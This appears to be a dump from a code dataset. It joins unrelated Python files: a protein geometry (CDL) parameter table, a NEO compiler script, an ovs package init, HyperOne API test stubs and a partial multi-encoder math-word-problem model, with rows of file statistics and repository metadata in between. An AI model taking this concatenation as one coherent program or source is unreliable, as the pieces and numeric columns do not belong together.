Pro_xpro[(150, 120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(150, 130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(150, 140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(150, 150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(150, 160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(150, 170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(160, -180)]=Pro_xpro[(-180, -180)]
Pro_xpro[(160, -170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(160, -160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(160, -150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(160, -140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(160, -130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(160, -120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(160, -110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(160, -100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(160, -90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(160, -80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(160, -70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(160, -60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(160, -50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(160, -40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(160, -30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(160, -20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(160, -10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(160, 0)]=Pro_xpro[(-180, -180)]
Pro_xpro[(160, 10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(160, 20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(160, 30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(160, 40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(160, 50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(160, 60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(160, 70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(160, 80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(160, 90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(160, 100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(160, 110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(160, 120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(160, 130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(160, 140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(160, 150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(160, 160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(160, 170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(170, -180)]=Pro_xpro[(-180, -180)]
Pro_xpro[(170, -170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(170, -160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(170, -150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(170, -140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(170, -130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(170, -120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(170, -110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(170, -100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(170, -90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(170, -80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(170, -70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(170, -60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(170, -50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(170, -40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(170, -30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(170, -20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(170, -10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(170, 0)]=Pro_xpro[(-180, -180)]
Pro_xpro[(170, 10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(170, 20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(170, 30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(170, 40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(170, 50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(170, 60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(170, 70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(170, 80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(170, 90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(170, 100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(170, 110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(170, 120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(170, 130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(170, 140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(170, 150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(170, 160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(170, 170)]=Pro_xpro[(-180, -180)]
#
# adjustments due to too large esd
#
Pro_nonxpro[(-90, 60)][16]=1.333900 # mCN
Pro_nonxpro[(-90, 60)][17]=0.023400 # sCN
Pro_nonxpro[(-90, 70)][16]=1.333900 # mCN
Pro_nonxpro[(-90, 70)][17]=0.023400 # sCN
Pro_nonxpro[(-90, 80)][16]=1.333900 # mCN
Pro_nonxpro[(-90, 80)][17]=0.023400 # sCN
Pro_nonxpro[(-80, 60)][16]=1.333900 # mCN
Pro_nonxpro[(-80, 60)][17]=0.023400 # sCN
Pro_nonxpro[(-80, 70)][16]=1.333900 # mCN
Pro_nonxpro[(-80, 70)][17]=0.023400 # sCN
Pro_nonxpro[(-80, 80)][16]=1.333900 # mCN
Pro_nonxpro[(-80, 80)][17]=0.023400 # sCN
Pro_nonxpro[(-80, 110)][16]=1.333900 # mCN
Pro_nonxpro[(-80, 110)][17]=0.023400 # sCN
Gly_nonxpro[(-100, -90)][10]=120.570000 # mACO
Gly_nonxpro[(-100, -90)][11]=1.740000 # sACO
Gly_nonxpro[(-100, -90)][12]=116.690000 # mACN
Gly_nonxpro[(-100, -90)][13]=2.040000 # sACN
Gly_nonxpro[(150, -140)][10]=120.570000 # mACO
Gly_nonxpro[(150, -140)][11]=1.740000 # sACO
NonPGIV_xpro[(-150, 100)][16]=1.331000 # mCN
NonPGIV_xpro[(-150, 100)][17]=0.020700 # sCN
NonPGIV_xpro[(-100, 140)][16]=1.331000 # mCN
NonPGIV_xpro[(-100, 140)][17]=0.020700 # sCN
NonPGIV_xpro[(-90, 140)][16]=1.331000 # mCN
NonPGIV_xpro[(-90, 140)][17]=0.020700 # sCN
NonPGIV_xpro[(50, 50)][14]=121.320000 # mOCN
NonPGIV_xpro[(50, 50)][15]=1.150000 # sOCN
NonPGIV_xpro[(50, 60)][14]=121.320000 # mOCN
NonPGIV_xpro[(50, 60)][15]=1.150000 # sOCN
NonPGIV_nonxpro[(-160, -150)][24]=1.235300 # mCO
NonPGIV_nonxpro[(-160, -150)][25]=0.012600 # sCO
NonPGIV_nonxpro[(-120, -120)][22]=1.523200 # mAC
NonPGIV_nonxpro[(-120, -120)][23]=0.013400 # sAC
NonPGIV_nonxpro[(-120, -100)][12]=116.840000 # mACN
NonPGIV_nonxpro[(-120, -100)][13]=1.710000 # sACN
NonPGIV_nonxpro[(-110, -130)][4]=110.490000 # mNAB
NonPGIV_nonxpro[(-110, -130)][5]=1.690000 # sNAB
NonPGIV_nonxpro[(-110, -130)][24]=1.235300 # mCO
NonPGIV_nonxpro[(-110, -130)][25]=0.012600 # sCO
NonPGIV_nonxpro[(-100, -130)][4]=110.490000 # mNAB
NonPGIV_nonxpro[(-100, -130)][5]=1.690000 # sNAB
NonPGIV_nonxpro[(-100, -130)][24]=1.235300 # mCO
NonPGIV_nonxpro[(-100, -130)][25]=0.012600 # sCO
Gly_xpro[(-60, -40)][2]=121.870000 # mCNA
Gly_xpro[(-60, -40)][3]=1.570000 # sCNA
Gly_xpro[(-50, -40)][14]=121.770000 # mOCN
Gly_xpro[(-50, -40)][15]=1.000000 # sOCN
class custom_cdl_dict(dict):
def __init__(self):
self.version=None
O = custom_cdl_dict()
for k,v in zip(cdl_database.keys(), cdl_database.values()): O[k]=v
cdl_database=O
cdl_database.version=version
def run(args):
assert len(args) == 0
print cdl_database["Pro_nonxpro"][(-180,-180)]
for res_group_type in cdl_database:
print res_group_type, len(cdl_database[res_group_type])
if (__name__ == "__main__"):
import sys
run(args=sys.argv[1:])
| 62.226761
| 208
| 0.627016
| 120,665
| 652,012
| 3.229826
| 0.011669
| 0.129922
| 0.129527
| 0.043164
| 0.797338
| 0.760348
| 0.759255
| 0.755703
| 0.755221
| 0.755221
| 0
| 0.329689
| 0.088676
| 652,012
| 10,477
| 209
| 62.2327
| 0.326203
| 0.000374
| 0
| 0
| 0
| 0
| 0.001665
| 0
| 0
| 0
| 0
| 0
| 0.000096
| 0
| null | null | 0
| 0.000191
| null | null | 0.000191
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
b3a0c285af038eb98c9060beda4abeefec5ed098
| 117
|
py
|
Python
|
smart_contract/hello_compiler.py
|
Topstack-defi/oracle-neo-futures
|
1b1a7e6e06eb8740e41dc47941d89b34d2c3b197
|
[
"MIT"
] | 6
|
2018-02-26T08:30:44.000Z
|
2021-06-17T07:40:21.000Z
|
smart_contract/hello_compiler.py
|
Topstack-defi/oracle-neo-futures
|
1b1a7e6e06eb8740e41dc47941d89b34d2c3b197
|
[
"MIT"
] | null | null | null |
smart_contract/hello_compiler.py
|
Topstack-defi/oracle-neo-futures
|
1b1a7e6e06eb8740e41dc47941d89b34d2c3b197
|
[
"MIT"
] | 2
|
2018-05-23T18:15:11.000Z
|
2018-11-03T00:20:28.000Z
|
from boa.compiler import Compiler
Compiler.load_and_save('neo_futures.py')
#Compiler.load_and_save('oracle_lite.py')
| 29.25
| 41
| 0.82906
| 19
| 117
| 4.789474
| 0.631579
| 0.263736
| 0.32967
| 0.417582
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.051282
| 117
| 4
| 41
| 29.25
| 0.81982
| 0.34188
| 0
| 0
| 0
| 0
| 0.181818
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 7
|
b60f8ebe2a334263642d2e50bc933d8cebffdea3
| 139
|
py
|
Python
|
ndocker/ovs/__init__.py
|
codlin/ndocker
|
e54639c365ec1b4986f5efefb0f680cf5443c179
|
[
"Apache-2.0"
] | null | null | null |
ndocker/ovs/__init__.py
|
codlin/ndocker
|
e54639c365ec1b4986f5efefb0f680cf5443c179
|
[
"Apache-2.0"
] | null | null | null |
ndocker/ovs/__init__.py
|
codlin/ndocker
|
e54639c365ec1b4986f5efefb0f680cf5443c179
|
[
"Apache-2.0"
] | null | null | null |
from __future__ import absolute_import
from .vsctl import VSCtl
from .vsctl import VSCtlCmdExecError
from .vsctl import VSCtlCmdParseError
| 27.8
| 38
| 0.863309
| 17
| 139
| 6.764706
| 0.411765
| 0.234783
| 0.391304
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.115108
| 139
| 5
| 39
| 27.8
| 0.934959
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
377cc31fe4d95106a2301e455298994b1ae59054
| 10,481
|
py
|
Python
|
test/test_website_project_instance_api.py
|
hyperonecom/h1-client-python
|
4ce355852ba3120ec1b8f509ab5894a5c08da730
|
[
"MIT"
] | null | null | null |
test/test_website_project_instance_api.py
|
hyperonecom/h1-client-python
|
4ce355852ba3120ec1b8f509ab5894a5c08da730
|
[
"MIT"
] | null | null | null |
test/test_website_project_instance_api.py
|
hyperonecom/h1-client-python
|
4ce355852ba3120ec1b8f509ab5894a5c08da730
|
[
"MIT"
] | null | null | null |
"""
HyperOne
HyperOne API # noqa: E501
The version of the OpenAPI document: 0.1.0
Generated by: https://openapi-generator.tech
"""
import unittest
import h1
from h1.api.website_project_instance_api import WebsiteProjectInstanceApi # noqa: E501
class TestWebsiteProjectInstanceApi(unittest.TestCase):
"""WebsiteProjectInstanceApi unit test stubs"""
def setUp(self):
self.api = WebsiteProjectInstanceApi() # noqa: E501
def tearDown(self):
pass
def test_website_project_instance_connect_get(self):
"""Test case for website_project_instance_connect_get
Get website/instance.connect # noqa: E501
"""
pass
def test_website_project_instance_connect_list(self):
"""Test case for website_project_instance_connect_list
List website/instance.connect # noqa: E501
"""
pass
def test_website_project_instance_create(self):
"""Test case for website_project_instance_create
Create website/instance # noqa: E501
"""
pass
def test_website_project_instance_credential_create(self):
"""Test case for website_project_instance_credential_create
Create website/instance.credential # noqa: E501
"""
pass
def test_website_project_instance_credential_delete(self):
"""Test case for website_project_instance_credential_delete
Delete website/instance.credential # noqa: E501
"""
pass
def test_website_project_instance_credential_get(self):
"""Test case for website_project_instance_credential_get
Get website/instance.credential # noqa: E501
"""
pass
def test_website_project_instance_credential_list(self):
"""Test case for website_project_instance_credential_list
List website/instance.credential # noqa: E501
"""
pass
def test_website_project_instance_credential_patch(self):
"""Test case for website_project_instance_credential_patch
Update website/instance.credential # noqa: E501
"""
pass
def test_website_project_instance_delete(self):
"""Test case for website_project_instance_delete
Delete website/instance # noqa: E501
"""
pass
def test_website_project_instance_domain_create(self):
"""Test case for website_project_instance_domain_create
Create website/instance.domain # noqa: E501
"""
pass
def test_website_project_instance_domain_delete(self):
"""Test case for website_project_instance_domain_delete
Delete website/instance.domain # noqa: E501
"""
pass
def test_website_project_instance_domain_get(self):
"""Test case for website_project_instance_domain_get
Get website/instance.domain # noqa: E501
"""
pass
def test_website_project_instance_domain_list(self):
"""Test case for website_project_instance_domain_list
List website/instance.domain # noqa: E501
"""
pass
def test_website_project_instance_env_create(self):
"""Test case for website_project_instance_env_create
Create website/instance.env # noqa: E501
"""
pass
def test_website_project_instance_env_delete(self):
"""Test case for website_project_instance_env_delete
Delete website/instance.env # noqa: E501
"""
pass
def test_website_project_instance_env_get(self):
"""Test case for website_project_instance_env_get
Get website/instance.env # noqa: E501
"""
pass
def test_website_project_instance_env_list(self):
"""Test case for website_project_instance_env_list
List website/instance.env # noqa: E501
"""
pass
def test_website_project_instance_event_get(self):
"""Test case for website_project_instance_event_get
Get website/instance.event # noqa: E501
"""
pass
def test_website_project_instance_event_list(self):
"""Test case for website_project_instance_event_list
List website/instance.event # noqa: E501
"""
pass
def test_website_project_instance_get(self):
"""Test case for website_project_instance_get
Get website/instance # noqa: E501
"""
pass
def test_website_project_instance_link_create(self):
"""Test case for website_project_instance_link_create
Create website/instance.link # noqa: E501
"""
pass
def test_website_project_instance_link_delete(self):
"""Test case for website_project_instance_link_delete
Delete website/instance.link # noqa: E501
"""
pass
def test_website_project_instance_link_get(self):
"""Test case for website_project_instance_link_get
Get website/instance.link # noqa: E501
"""
pass
def test_website_project_instance_link_list(self):
"""Test case for website_project_instance_link_list
List website/instance.link # noqa: E501
"""
pass
def test_website_project_instance_list(self):
"""Test case for website_project_instance_list
List website/instance # noqa: E501
"""
pass
def test_website_project_instance_log_get(self):
"""Test case for website_project_instance_log_get
Get website/instance.log # noqa: E501
"""
pass
def test_website_project_instance_log_list(self):
"""Test case for website_project_instance_log_list
List website/instance.log # noqa: E501
"""
pass
def test_website_project_instance_log_read(self):
"""Test case for website_project_instance_log_read
Read website/instance.log # noqa: E501
"""
pass
def test_website_project_instance_metric_get(self):
"""Test case for website_project_instance_metric_get
Get website/instance.metric # noqa: E501
"""
pass
def test_website_project_instance_metric_list(self):
"""Test case for website_project_instance_metric_list
List website/instance.metric # noqa: E501
"""
pass
def test_website_project_instance_metric_point_list(self):
"""Test case for website_project_instance_metric_point_list
List website/instance.point # noqa: E501
"""
pass
def test_website_project_instance_restart(self):
"""Test case for website_project_instance_restart
Restart website/instance # noqa: E501
"""
pass
def test_website_project_instance_service_get(self):
"""Test case for website_project_instance_service_get
Get website/instance.service # noqa: E501
"""
pass
def test_website_project_instance_service_list(self):
"""Test case for website_project_instance_service_list
List website/instance.service # noqa: E501
"""
pass
def test_website_project_instance_sideapp_get(self):
"""Test case for website_project_instance_sideapp_get
Get website/instance.sideapp # noqa: E501
"""
pass
def test_website_project_instance_sideapp_list(self):
"""Test case for website_project_instance_sideapp_list
List website/instance.sideapp # noqa: E501
"""
pass
def test_website_project_instance_sideapp_open(self):
"""Test case for website_project_instance_sideapp_open
Open website/instance.sideapp # noqa: E501
"""
pass
def test_website_project_instance_snapshot_create(self):
"""Test case for website_project_instance_snapshot_create
Create website/instance.snapshot # noqa: E501
"""
pass
def test_website_project_instance_snapshot_delete(self):
"""Test case for website_project_instance_snapshot_delete
Delete website/instance.snapshot # noqa: E501
"""
pass
def test_website_project_instance_snapshot_download(self):
"""Test case for website_project_instance_snapshot_download
Download website/instance.snapshot # noqa: E501
"""
pass
def test_website_project_instance_snapshot_get(self):
"""Test case for website_project_instance_snapshot_get
Get website/instance.snapshot # noqa: E501
"""
pass
def test_website_project_instance_snapshot_list(self):
"""Test case for website_project_instance_snapshot_list
List website/instance.snapshot # noqa: E501
"""
pass
def test_website_project_instance_start(self):
"""Test case for website_project_instance_start
Start website/instance # noqa: E501
"""
pass
def test_website_project_instance_stop(self):
"""Test case for website_project_instance_stop
Stop website/instance # noqa: E501
"""
pass
def test_website_project_instance_tag_create(self):
"""Test case for website_project_instance_tag_create
Create website/instance.tag # noqa: E501
"""
pass
def test_website_project_instance_tag_delete(self):
"""Test case for website_project_instance_tag_delete
Delete website/instance.tag # noqa: E501
"""
pass
def test_website_project_instance_tag_get(self):
"""Test case for website_project_instance_tag_get
Get website/instance.tag # noqa: E501
"""
pass
def test_website_project_instance_tag_list(self):
"""Test case for website_project_instance_tag_list
List website/instance.tag # noqa: E501
"""
pass
def test_website_project_instance_tag_put(self):
"""Test case for website_project_instance_tag_put
Replace website/instance.tag # noqa: E501
"""
pass
def test_website_project_instance_transfer(self):
"""Test case for website_project_instance_transfer
Transfer website/instance # noqa: E501
"""
pass
def test_website_project_instance_update(self):
"""Test case for website_project_instance_update
Update website/instance # noqa: E501
"""
pass
if __name__ == '__main__':
unittest.main()
| 27.15285
| 87
| 0.668925
| 1,208
| 10,481
| 5.42798
| 0.056291
| 0.219918
| 0.345585
| 0.140003
| 0.892481
| 0.857252
| 0.855117
| 0.819735
| 0.503889
| 0.478268
| 0
| 0.021643
| 0.263811
| 10,481
| 385
| 88
| 27.223377
| 0.828149
| 0.473142
| 0
| 0.464286
| 1
| 0
| 0.001831
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.473214
| false
| 0.464286
| 0.026786
| 0
| 0.508929
| 0
| 0
| 0
| 0
| null | 1
| 1
| 0
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 1
| 0
|
0
| 10
|
37c5642653f090ddad5800b912327e149303c9ce
| 78,494
|
py
|
Python
|
mwptoolkit/model/Graph2Tree/multiencdec.py
|
ShubhamAnandJain/MWP-CS229
|
ce86233504fdb37e104a3944fd81d4606fbfa621
|
[
"MIT"
] | 71
|
2021-03-08T06:06:15.000Z
|
2022-03-30T11:59:37.000Z
|
mwptoolkit/model/Graph2Tree/multiencdec.py
|
ShubhamAnandJain/MWP-CS229
|
ce86233504fdb37e104a3944fd81d4606fbfa621
|
[
"MIT"
] | 13
|
2021-09-07T12:38:23.000Z
|
2022-03-22T15:08:16.000Z
|
mwptoolkit/model/Graph2Tree/multiencdec.py
|
ShubhamAnandJain/MWP-CS229
|
ce86233504fdb37e104a3944fd81d4606fbfa621
|
[
"MIT"
] | 21
|
2021-02-16T07:46:36.000Z
|
2022-03-23T13:41:33.000Z
|
# -*- encoding: utf-8 -*-
# @Author: Yihuai Lan
# @Time: 2021/08/21 04:33:54
# @File: multiencdec.py
import copy
import random
import torch
import numpy as np
from torch import nn
from torch.nn import functional as F
from mwptoolkit.module.Encoder.graph_based_encoder import GraphBasedMultiEncoder, NumEncoder
from mwptoolkit.module.Decoder.tree_decoder import TreeDecoder
#from mwptoolkit.module.Decoder.rnn_decoder import AttentionalRNNDecoder
from mwptoolkit.module.Layer.layers import TreeAttnDecoderRNN
from mwptoolkit.module.Layer.tree_layers import NodeGenerater, SubTreeMerger, TreeNode, TreeEmbedding
from mwptoolkit.module.Layer.tree_layers import Prediction, GenerateNode, Merge
from mwptoolkit.module.Embedder.basic_embedder import BaiscEmbedder
from mwptoolkit.module.Strategy.beam_search import TreeBeam, Beam
from mwptoolkit.loss.masked_cross_entropy_loss import MaskedCrossEntropyLoss, masked_cross_entropy
from mwptoolkit.utils.enum_type import SpecialTokens, NumMask
from mwptoolkit.utils.utils import copy_list
class MultiEncDec(nn.Module):
"""
Reference:
Shen et al. "Solving Math Word Problems with Multi-Encoders and Multi-Decoders" in COLING 2020.
"""
def __init__(self, config, dataset):
super(MultiEncDec, self).__init__()
self.device = config['device']
self.USE_CUDA = True if self.device == torch.device('cuda') else False
self.rnn_cell_type = config['rnn_cell_type']
self.embedding_size = config['embedding_size']
self.hidden_size = config['hidden_size']
self.n_layers = config['num_layers']
self.hop_size = config['hop_size']
self.teacher_force_ratio = config['teacher_force_ratio']
self.beam_size = config['beam_size']
self.max_out_len = config['max_output_len']
self.dropout_ratio = config['dropout_ratio']
self.operator_nums = dataset.operator_nums
self.generate_nums = len(dataset.generate_list)
self.num_start1 = dataset.num_start1
self.num_start2 = dataset.num_start2
self.input1_size = len(dataset.in_idx2word_1)
self.input2_size = len(dataset.in_idx2word_2)
self.output2_size = len(dataset.out_idx2symbol_2)
self.unk1 = dataset.out_symbol2idx_1[SpecialTokens.UNK_TOKEN]
self.unk2 = dataset.out_symbol2idx_2[SpecialTokens.UNK_TOKEN]
self.sos2 = dataset.out_symbol2idx_2[SpecialTokens.SOS_TOKEN]
self.eos2 = dataset.out_symbol2idx_2[SpecialTokens.EOS_TOKEN]
self.out_symbol2idx1 = dataset.out_symbol2idx_1
self.out_idx2symbol1 = dataset.out_idx2symbol_1
self.out_symbol2idx2 = dataset.out_symbol2idx_2
self.out_idx2symbol2 = dataset.out_idx2symbol_2
generate_list = dataset.generate_list
self.generate_list = [self.out_symbol2idx1[symbol] for symbol in generate_list]
self.mask_list = NumMask.number
try:
self.out_sos_token1 = self.out_symbol2idx1[SpecialTokens.SOS_TOKEN]
except:
self.out_sos_token1 = None
try:
self.out_eos_token1 = self.out_symbol2idx1[SpecialTokens.EOS_TOKEN]
except:
self.out_eos_token1 = None
try:
self.out_pad_token1 = self.out_symbol2idx1[SpecialTokens.PAD_TOKEN]
except:
self.out_pad_token1 = None
try:
self.out_sos_token2 = self.out_symbol2idx2[SpecialTokens.SOS_TOKEN]
except:
self.out_sos_token2 = None
try:
self.out_eos_token2 = self.out_symbol2idx2[SpecialTokens.EOS_TOKEN]
except:
self.out_eos_token2 = None
try:
self.out_pad_token2 = self.out_symbol2idx2[SpecialTokens.PAD_TOKEN]
except:
self.out_pad_token2 = None
# Initialize models
embedder = nn.Embedding(self.input1_size, self.embedding_size)
in_embedder = self._init_embedding_params(dataset.trainset, dataset.in_idx2word_1, config['embedding_size'], embedder)
self.encoder = GraphBasedMultiEncoder(input1_size=self.input1_size,
input2_size=self.input2_size,
embed_model=in_embedder,
embedding1_size=self.embedding_size,
embedding2_size=self.embedding_size // 4,
hidden_size=self.hidden_size,
n_layers=self.n_layers,
hop_size=self.hop_size)
self.numencoder = NumEncoder(node_dim=self.hidden_size, hop_size=self.hop_size)
self.predict = Prediction(hidden_size=self.hidden_size, op_nums=self.operator_nums, input_size=self.generate_nums)
self.generate = GenerateNode(hidden_size=self.hidden_size, op_nums=self.operator_nums, embedding_size=self.embedding_size)
self.merge = Merge(hidden_size=self.hidden_size, embedding_size=self.embedding_size)
self.decoder = TreeAttnDecoderRNN(self.hidden_size, self.embedding_size, self.output2_size, self.output2_size, self.n_layers, self.dropout_ratio)
self.loss = MaskedCrossEntropyLoss()
def _init_embedding_params(self, train_data, vocab, embedding_size, embedder):
sentences = []
for data in train_data:
sentence = []
for word in data['question']:
if word in vocab:
sentence.append(word)
else:
sentence.append(SpecialTokens.UNK_TOKEN)
sentences.append(sentence)
from gensim.models import word2vec
model = word2vec.Word2Vec(sentences, vector_size=embedding_size, min_count=1)
emb_vectors = []
pad_idx = vocab.index(SpecialTokens.PAD_TOKEN)
for idx in range(len(vocab)):
if idx != pad_idx:
emb_vectors.append(np.array(model.wv[vocab[idx]]))
else:
emb_vectors.append(np.zeros((embedding_size)))
emb_vectors = np.array(emb_vectors)
embedder.weight.data.copy_(torch.from_numpy(emb_vectors))
return embedder
def calculate_loss(self, batch_data):
"""Finish forward-propagating, calculating loss and back-propagation.
Args:
batch_data (dict): one batch data.
Returns:
float: loss value.
"""
input1_var = batch_data['input1']
input2_var = batch_data['input2']
input_length = batch_data['input1 len']
target1 = batch_data['output1']
target1_length = batch_data['output1 len']
target2 = batch_data['output2']
target2_length = batch_data['output2 len']
num_stack_batch = batch_data['num stack']
num_size_batch = batch_data['num size']
generate_list = self.generate_list
num_pos_batch = batch_data['num pos']
num_order_batch = batch_data['num order']
parse_graph = batch_data['parse graph']
equ_mask1 = batch_data['equ mask1']
equ_mask2 = batch_data['equ mask2']
unk1 = self.unk1
unk2 = self.unk2
num_start1 = self.num_start1
num_start2 = self.num_start2
sos2 = self.sos2
loss = self.train_double(input1_var,
input2_var,
input_length,
target1,
target1_length,
target2,
target2_length,
num_stack_batch,
num_size_batch,
generate_list,
unk1,
unk2,
num_start1,
num_start2,
sos2,
num_pos_batch,
num_order_batch,
parse_graph,
beam_size=5,
use_teacher_forcing=0.83,
english=False)
if self.USE_CUDA:
torch.cuda.empty_cache()
return loss
def model_test(self, batch_data):
"""Model test.
Args:
batch_data (dict): one batch data.
Returns:
tuple(str,list,list): predicted type, predicted equation, target equation.
"""
input1_var = batch_data['input1']
input2_var = batch_data['input2']
input_length = batch_data['input1 len']
target1 = batch_data['output1']
target1_length = batch_data['output1 len']
target2 = batch_data['output2']
target2_length = batch_data['output2 len']
num_stack_batch = batch_data['num stack']
num_size_batch = batch_data['num size']
generate_list = self.generate_list
num_pos_batch = batch_data['num pos']
num_order_batch = batch_data['num order']
parse_graph = batch_data['parse graph']
equ_mask1 = batch_data['equ mask1']
equ_mask2 = batch_data['equ mask2']
num_list = batch_data['num list']
unk1 = self.unk1
unk2 = self.unk2
num_start1 = self.num_start1
num_start2 = self.num_start2
sos2 = self.sos2
eos2 = self.eos2
result_type, test_res, score = self.evaluate_double(input1_var,
input2_var,
input_length,
generate_list,
num_start1,
sos2,
eos2,
num_pos_batch,
num_order_batch,
parse_graph,
beam_size=5,)
if result_type == "tree":
output1 = self.convert_idx2symbol1(test_res, num_list[0], copy_list(num_stack_batch[0]))
targets1 = self.convert_idx2symbol1(target1[0], num_list[0], copy_list(num_stack_batch[0]))
if self.USE_CUDA:
torch.cuda.empty_cache()
return result_type, output1, targets1
else:
output2 = self.convert_idx2symbol2(torch.tensor(test_res).view(1, -1), num_list, copy_list(num_stack_batch))
targets2 = self.convert_idx2symbol2(target2, num_list, copy_list(num_stack_batch))
if self.USE_CUDA:
torch.cuda.empty_cache()
return result_type, output2, targets2
def train_double(self,
input1_batch,
input2_batch,
input_length,
target1_batch,
target1_length,
target2_batch,
target2_length,
num_stack_batch,
num_size_batch,
generate_num1_ids,
unk1,
unk2,
num_start1,
num_start2,
sos2,
num_pos_batch,
num_order_batch,
parse_graph_batch,
beam_size=5,
use_teacher_forcing=0.83,
english=False):
# sequence mask for attention
seq_mask = []
max_len = max(input_length)
for i in input_length:
seq_mask.append([0 for _ in range(i)] + [1 for _ in range(i, max_len)])
seq_mask = torch.ByteTensor(seq_mask)
num_mask = []
max_num_size = max(num_size_batch) + len(generate_num1_ids)
for i in num_size_batch:
d = i + len(generate_num1_ids)
num_mask.append([0] * d + [1] * (max_num_size - d))
num_mask = torch.ByteTensor(num_mask)
num_pos_pad = []
max_num_pos_size = max(num_size_batch)
for i in range(len(num_pos_batch)):
temp = num_pos_batch[i] + [-1] * (max_num_pos_size - len(num_pos_batch[i]))
num_pos_pad.append(temp)
num_pos_pad = torch.LongTensor(num_pos_pad)
num_order_pad = []
max_num_order_size = max(num_size_batch)
for i in range(len(num_order_batch)):
temp = num_order_batch[i] + [0] * (max_num_order_size - len(num_order_batch[i]))
num_order_pad.append(temp)
num_order_pad = torch.LongTensor(num_order_pad)
